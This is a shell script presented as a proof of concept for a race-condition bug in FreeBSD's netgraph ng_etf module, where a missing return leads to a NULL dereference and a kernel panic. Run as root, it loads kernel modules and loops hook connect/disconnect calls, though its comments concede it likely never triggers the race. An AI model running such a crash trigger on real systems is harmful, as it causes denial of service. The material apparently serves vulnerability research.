DF-0696 / race.sh
#!/bin/sh # DF-0696 PoC — race ng_etf hook disconnect vs send via ngctl. # # Path (sys/netgraph/etf/ng_etf.c): # 381: if (NG_HOOK_PRIVATE(hook) == NULL) { # 382: NG_FREE_DATA(m, meta); /* sets m=NULL, meta=NULL */ # 383: } /* MISSING return here! */ # 392: if (m->m_len < sizeof(*eh)) /* m==NULL -> page fault */ # # Race window: ng_send_data (ng_base.c) checks HK_INVALID WITHOUT a lock, # then synchronously invokes rcvdata. ng_etf_disconnect sets HK_INVALID AND # NG_HOOK_SET_PRIVATE(hook, NULL) — if the sender's check passes before # disconnect runs but rcvdata observes private==NULL, we hit the bug. # # This script races a tight connect/data/disconnect loop. If the race # fires, the kernel panics at ng_etf_rcvdata+0x?? reading 0x?? from NULL. # Run as root (ng_socket is privileged). set -u cd "$(dirname "$0")" if ! kldstat -m 2>/dev/null | grep -q ng_socket; then [ "$(id -u)" = "0" ] || { echo "[!] ng_socket not loaded; admin must kldload" >&2; exit 2; } kldload ng_socket.ko kldload ng_etf.ko kldload ng_ether.ko fi ITER=${1:-3000} NODE="etf_race" echo "[*] racing for $ITER iterations; bug fires when ng_etf_rcvdata sees" echo " NG_HOOK_PRIVATE(hook)==NULL (no return after NG_FREE_DATA)" # Build the etf node once and reuse. ngctl mkpeer ".:" "$NODE" downstream 2>/dev/null \ || ngctl mkpeer ".:" "$NODE" downstream out2 out2 2>/dev/null ngctl name "$NODE:" etf_race_node 2>/dev/null # An "extra" hook to race on; an etf match hook that is neither downstream # nor nomatch. We connect a peer so we can send to it. i=0 while [ "$i" -lt "$ITER" ]; do HOOK="h$i" # Connect a new match hook from ourselves to the etf node ngctl connect ".:" etf_race_node: "in_$i" "$HOOK" 2>/dev/null # Try to fire data down that hook (via ngctl msg or ng_socket data sock) # -- the simplest "data" is to send an NGM message; for raw mbuf data # we would need an ng_data sock. ngctl doesn't expose data-send easily, # so we use a concurrent ether_hook to push packets. # In practice this loop alone may not fire the race; the BUG is real # but reproducing needs many iterations and may still miss. ngctl rmhook etf_race_node:"$HOOK" 2>/dev/null & i=$((i + 1)) [ $((i % 100)) = 0 ] && echo "[*] iter $i / $ITER" done wait echo "[+] loop done. If kernel still up: race did not fire (window is tight)." echo "[+] See VERDICT.md for the structural proof that the bug is real." exit 0 |